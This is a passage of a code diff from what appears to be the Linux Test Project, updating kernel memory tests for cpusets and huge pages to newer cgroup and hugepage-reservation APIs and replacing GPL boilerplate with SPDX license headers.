+++ b/testcases/kernel/mem/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/mem test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/kernel/mem/cpuset/cpuset01.c b/testcases/kernel/mem/cpuset/cpuset01.c
index 66c18f6..6e9691e 100644
--- a/testcases/kernel/mem/cpuset/cpuset01.c
+++ b/testcases/kernel/mem/cpuset/cpuset01.c
@@ -35,8 +35,6 @@
 
 #ifdef HAVE_NUMA_V2
 
-static const struct tst_cgroup_group *cg;
-
 volatile int end;
 static int *nodes;
 static int nnodes;
@@ -53,10 +51,10 @@
 	unsigned long nmask[MAXNODES / BITS_PER_LONG] = { 0 };
 	char buf[BUFSIZ];
 
-	SAFE_CGROUP_READ(cg, "cpuset.cpus", buf, sizeof(buf));
-	SAFE_CGROUP_PRINT(cg, "cpuset.cpus", buf);
-	SAFE_CGROUP_READ(cg, "cpuset.mems", buf, sizeof(buf));
-	SAFE_CGROUP_PRINT(cg, "cpuset.mems", buf);
+	SAFE_CG_READ(tst_cg, "cpuset.cpus", buf, sizeof(buf));
+	SAFE_CG_PRINT(tst_cg, "cpuset.cpus", buf);
+	SAFE_CG_READ(tst_cg, "cpuset.mems", buf, sizeof(buf));
+	SAFE_CG_PRINT(tst_cg, "cpuset.mems", buf);
 
 	child = SAFE_FORK();
 	if (child == 0) {
@@ -70,8 +68,8 @@
 		exit(mem_hog_cpuset(ncpus > 1 ? ncpus : 1));
 	}
 
-	SAFE_CGROUP_PRINTF(cg, "cpuset.mems", "%d", nodes[0]);
-	SAFE_CGROUP_PRINTF(cg, "cpuset.mems", "%d", nodes[1]);
+	SAFE_CG_PRINTF(tst_cg, "cpuset.mems", "%d", nodes[0]);
+	SAFE_CG_PRINTF(tst_cg, "cpuset.mems", "%d", nodes[1]);
 
 	tst_reap_children();
 
@@ -80,20 +78,13 @@
 
 static void setup(void)
 {
-	tst_cgroup_require("cpuset", NULL);
 	ncpus = count_cpu();
 	if (get_allowed_nodes_arr(NH_MEMS | NH_CPUS, &nnodes, &nodes) < 0)
 		tst_brk(TBROK | TERRNO, "get_allowed_nodes_arr");
 	if (nnodes <= 1)
 		tst_brk(TCONF, "requires a NUMA system.");
 
-	cg = tst_cgroup_get_test_group();
-	SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid());
-}
-
-static void cleanup(void)
-{
-	tst_cgroup_cleanup();
+	SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid());
 }
 
 static void sighandler(int signo LTP_ATTRIBUTE_UNUSED)
@@ -183,9 +174,9 @@
 	.needs_root = 1,
 	.forks_child = 1,
 	.setup = setup,
-	.cleanup = cleanup,
 	.test_all = test_cpuset,
 	.min_kver = "2.6.32",
+	.needs_cgroup_ctrls = (const char *const []){ "cpuset", NULL },
 };
 
 #else
diff --git a/testcases/kernel/mem/hugetlb/Makefile b/testcases/kernel/mem/hugetlb/Makefile
index ea7867f..82ae533 100644
--- a/testcases/kernel/mem/hugetlb/Makefile
+++ b/testcases/kernel/mem/hugetlb/Makefile
@@ -1,20 +1,5 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2001
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2001
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/Makefile b/testcases/kernel/mem/hugetlb/hugemmap/Makefile
index bfe1976..2d651b4 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/Makefile
+++ b/testcases/kernel/mem/hugetlb/hugemmap/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/mem/hugetlb/hugemmap testcase Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../../..
 
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c
index 1783bfb..3fc7300 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c
@@ -91,12 +91,12 @@
 	.needs_root = 1,
 	.needs_tmpdir = 1,
 	.options = (struct tst_option[]) {
-		{"H:", &Hopt,   "-H /..   Location of hugetlbfs, i.e.  -H /var/hugetlbfs"},
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"H:", &Hopt,   "Location of hugetlbfs, i.e.  -H /var/hugetlbfs"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = test_hugemmap,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c
index 0b27154..e818cd5 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c
@@ -138,12 +138,12 @@
 	.needs_root = 1,
 	.needs_tmpdir = 1,
 	.options = (struct tst_option[]) {
-		{"H:", &Hopt,   "-H /..   Location of hugetlbfs, i.e.  -H /var/hugetlbfs"},
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"H:", &Hopt,   "Location of hugetlbfs, i.e.  -H /var/hugetlbfs"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = test_hugemmap,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c
index f63b41f..6af032a 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c
@@ -109,12 +109,12 @@
 	.needs_root = 1,
 	.needs_tmpdir = 1,
 	.options = (struct tst_option[]) {
-		{"H:", &Hopt,   "-H /..   Location of hugetlbfs, i.e.  -H /var/hugetlbfs"},
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"H:", &Hopt,   "Location of hugetlbfs, i.e.  -H /var/hugetlbfs"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = test_hugemmap,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap05.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap05.c
index a8524b6..d5983fc 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap05.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap05.c
@@ -185,9 +185,6 @@
 {
 	unsigned long hpages;
 
-	if (tst_hugepages != NR_HPAGES)
-		tst_brk(TCONF, "Not enough hugepages for testing!");
-
 	hugepagesize = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 	init_sys_sz_paths();
 
@@ -299,13 +296,13 @@
 	.needs_root = 1,
 	.needs_tmpdir = 1,
 	.options = (struct tst_option[]) {
-		{"s",  &opt_sysfs, "-s        Setup hugepages from sysfs"},
-		{"m",  &opt_shmid, "-m        Reserve hugepages by shmget"},
-		{"a:", &opt_alloc, "-a        Number of overcommint hugepages"},
+		{"s",  &opt_sysfs, "Setup hugepages from sysfs"},
+		{"m",  &opt_shmid, "Reserve hugepages by shmget"},
+		{"a:", &opt_alloc, "Number of overcommint hugepages"},
 		{}
 },
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = test_overcommit,
-	.request_hugepages = NR_HPAGES,
+	.hugepages = {NR_HPAGES, TST_NEEDS},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c
index ab2ccc4..91dfa06 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c
@@ -39,8 +39,6 @@
 
 static void setup(void)
 {
-	if (tst_hugepages != test.request_hugepages)
-		tst_brk(TCONF, "System RAM is not enough to test.");
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 }
 
@@ -122,7 +120,7 @@
 	.needs_tmpdir = 1,
 	.test = do_mmap,
 	.setup = setup,
-	.request_hugepages = (ARSZ + 1) * LOOP,
+	.hugepages = {(ARSZ + 1) * LOOP, TST_NEEDS},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "f522c3ac00a4"},
 		{"linux-git", "9119a41e9091"},
diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/Makefile b/testcases/kernel/mem/hugetlb/hugeshmat/Makefile
index e12fc79..8a795ac 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmat/Makefile
+++ b/testcases/kernel/mem/hugetlb/hugeshmat/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/mem/hugetlb/hugemmap testcase Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../../..
 
diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat01.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat01.c
index f206522..3a50e6b 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat01.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat01.c
@@ -173,12 +173,12 @@
 	.needs_root = 1,
 	.needs_tmpdir = 1,
 	.options = (struct tst_option[]) {
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.tcnt = ARRAY_SIZE(tcases),
 	.test = verify_hugeshmat,
 	.setup = setup,
 	.cleanup = cleanup,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat02.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat02.c
index fcad8f5..e79d682 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat02.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat02.c
@@ -100,12 +100,12 @@
 	.needs_root = 1,
 	.needs_tmpdir = 1,
 	.options = (struct tst_option[]) {
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.tcnt = ARRAY_SIZE(tcases),
 	.test = verify_hugeshmat,
 	.setup = setup,
 	.cleanup = cleanup,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat03.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat03.c
index 1f1d261..9de9257 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat03.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat03.c
@@ -95,11 +95,11 @@
 	.forks_child = 1,
 	.needs_tmpdir = 1,
 	.options = (struct tst_option[]) {
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.test_all = verify_hugeshmat,
 	.setup = setup,
 	.cleanup = cleanup,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat04.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat04.c
index e9bb9fb..50efa8a 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat04.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat04.c
@@ -23,10 +23,10 @@
 
 #define SIZE	(1024 * 1024 * 1024)
 #define BOUNDARY (1024 * 1024 * 1024)
+#define BOUNDARY_MAX (3U * 1024 * 1024 * 1024)
 
 static long huge_free;
 static long huge_free2;
-static long hugepages;
 static long orig_shmmax = -1, new_shmmax;
 
 static void shared_hugepage(void);
@@ -49,12 +49,20 @@
 	int status, shmid;
 	size_t size = (size_t)SIZE;
 	void *buf;
+	unsigned long boundary = BOUNDARY;
 
 	shmid = shmget(IPC_PRIVATE, size, SHM_HUGETLB | IPC_CREAT | 0777);
 	if (shmid < 0)
 		tst_brk(TBROK | TERRNO, "shmget");
 
-	buf = shmat(shmid, (void *)BOUNDARY, SHM_RND | 0777);
+	while (boundary <= BOUNDARY_MAX
+		&& range_is_mapped(boundary, boundary+SIZE))
+		boundary += 128*1024*1024;
+	if (boundary > BOUNDARY_MAX)
+		tst_brk(TCONF, "failed to find free unmapped range");
+
+	tst_res(TINFO, "attaching at 0x%lx", boundary);
+	buf = shmat(shmid, (void *)boundary, SHM_RND | 0777);
 	if (buf == (void *)-1) {
 		shmctl(shmid, IPC_RMID, NULL);
 		tst_brk(TBROK | TERRNO, "shmat");
@@ -72,29 +80,20 @@
 
 static void setup(void)
 {
-	long mem_total, hpage_size, orig_hugepages;
-
-	if (tst_hugepages == 0)
-		tst_brk(TCONF, "Not enough hugepages for testing.");
+	long hpage_size, orig_hugepages;
 
 	orig_hugepages = get_sys_tune("nr_hugepages");
-	mem_total = SAFE_READ_MEMINFO("MemTotal:");
 	SAFE_FILE_SCANF(PATH_SHMMAX, "%ld", &orig_shmmax);
 	SAFE_FILE_PRINTF(PATH_SHMMAX, "%ld", (long)SIZE);
 	SAFE_FILE_SCANF(PATH_SHMMAX, "%ld", &new_shmmax);
 
-	if (mem_total < 2L*1024*1024)
-		tst_brk(TCONF,	"Needed > 2GB RAM, have: %ld", mem_total);
-
 	if (new_shmmax < SIZE)
 		tst_brk(TCONF,	"shmmax too low, have: %ld", new_shmmax);
 
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
-	hugepages = orig_hugepages + SIZE / hpage_size;
-	tst_request_hugepages(hugepages);
-	if (tst_hugepages != (unsigned long)hugepages)
-		tst_brk(TCONF, "No enough hugepages for testing.");
+	struct tst_hugepage hp = { orig_hugepages + SIZE / hpage_size, TST_NEEDS };
+	tst_reserve_hugepages(&hp);
 }
 
 static void cleanup(void)
@@ -104,12 +103,17 @@
 }
 
 static struct tst_test test = {
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "c5c99429fa57"},
+		{}
+	},
 	.needs_root = 1,
 	.forks_child = 1,
 	.needs_tmpdir = 1,
 	.tcnt = 3,
 	.test = test_hugeshmat,
+	.min_mem_avail = 2048,
 	.setup = setup,
 	.cleanup = cleanup,
-	.request_hugepages = 1,
+	.hugepages = {1, TST_NEEDS},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c
index 7152e33..3b2ae35 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c
@@ -35,9 +35,6 @@
 
 void setup(void)
 {
-	if (tst_hugepages != test.request_hugepages)
-		tst_brk(TCONF, "Not enough hugepages for testing.");
-
 	page_size = getpagesize();
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 }
@@ -91,7 +88,7 @@
 	.needs_tmpdir = 1,
 	.test_all = test_hugeshmat,
 	.setup = setup,
-	.request_hugepages = N + 1,
+	.hugepages = {N+1, TST_NEEDS},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "091d0d55b286"},
 		{"linux-git", "af73e4d9506d"},
diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/Makefile b/testcases/kernel/mem/hugetlb/hugeshmctl/Makefile
index 44dc6a0..8a795ac 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmctl/Makefile
+++ b/testcases/kernel/mem/hugetlb/hugeshmctl/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/mem/hugetlb/hugeshmctl testcase Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../../..
 
diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl01.c b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl01.c
index b5b5496..11cd690 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl01.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl01.c
@@ -303,12 +303,12 @@
 	.needs_root = 1,
 	.forks_child = 1,
 	.options = (struct tst_option[]) {
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.setup = setup,
 	.cleanup = cleanup,
 	.test = test_hugeshmctl,
 	.needs_checkpoints = 1,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c
index e014edd..0bc9ffd 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c
@@ -105,10 +105,10 @@
 	.needs_root = 1,
 	.needs_tmpdir = 1,
 	.options = (struct tst_option[]) {
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.setup = setup,
 	.cleanup = cleanup,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c
index 8c48581..21ec6bf 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c
@@ -128,11 +128,11 @@
 	.forks_child = 1,
 	.needs_tmpdir = 1,
 	.options = (struct tst_option[]) {
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = test_hugeshmctl,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugeshmdt/Makefile b/testcases/kernel/mem/hugetlb/hugeshmdt/Makefile
index 7f6ffad..8a795ac 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmdt/Makefile
+++ b/testcases/kernel/mem/hugetlb/hugeshmdt/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/mem/hugetlb/hugeshmdt testcase Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../../..
 
diff --git a/testcases/kernel/mem/hugetlb/hugeshmdt/hugeshmdt01.c b/testcases/kernel/mem/hugetlb/hugeshmdt/hugeshmdt01.c
index 571a4cf..0b9515f 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmdt/hugeshmdt01.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmdt/hugeshmdt01.c
@@ -146,11 +146,11 @@
 static struct tst_test test = {
 	.needs_root = 1,
 	.options = (struct tst_option[]) {
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = hugeshmdt_test,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/Makefile b/testcases/kernel/mem/hugetlb/hugeshmget/Makefile
index 4f77fdd..261c5de 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/Makefile
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/Makefile
@@ -1,20 +1,5 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2001
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2001
 
 top_srcdir		?= ../../../../..
 
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget01.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget01.c
index 4705636..6273565 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget01.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget01.c
@@ -72,11 +72,11 @@
 static struct tst_test test = {
 	.needs_root = 1,
 	.options = (struct tst_option[]) {
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = test_hugeshmget,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c
index 323b5d6..bbd968c 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c
@@ -91,12 +91,12 @@
 static struct tst_test test = {
 	.needs_root = 1,
 	.options = (struct tst_option[]) {
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.setup = setup,
 	.cleanup = cleanup,
 	.test = test_hugeshmget,
 	.tcnt = ARRAY_SIZE(tcases),
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c
index 2053d0a..7e72a19 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c
@@ -90,11 +90,11 @@
 static struct tst_test test = {
 	.needs_root = 1,
 	.options = (struct tst_option[]) {
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = test_hugeshmget,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c
index 60c8645..3363196 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c
@@ -86,11 +86,11 @@
 static struct tst_test test = {
 	.needs_root = 1,
 	.options = (struct tst_option[]) {
-		{"s:", &nr_opt, "-s num   Set the number of the been allocated hugepages"},
+		{"s:", &nr_opt, "Set the number of the been allocated hugepages"},
 		{}
 	},
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = test_hugeshmget,
-	.request_hugepages = 128,
+	.hugepages = {128, TST_REQUEST},
 };
diff --git a/testcases/kernel/mem/hugetlb/lib/Makefile b/testcases/kernel/mem/hugetlb/lib/Makefile
index 2e89342..ceccd26 100644
--- a/testcases/kernel/mem/hugetlb/lib/Makefile
+++ b/testcases/kernel/mem/hugetlb/lib/Makefile
@@ -1,20 +1,5 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2001
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2001
 
 top_srcdir		?= ../../../../..
 
diff --git a/testcases/kernel/mem/include/mem.h b/testcases/kernel/mem/include/mem.h
index 10712cf..7768091 100644
--- a/testcases/kernel/mem/include/mem.h
+++ b/testcases/kernel/mem/include/mem.h
@@ -1,9 +1,13 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Linux Test Project, 2011-2021
+ */
 #ifndef _MEM_H
 #define _MEM_H
 #include "config.h"
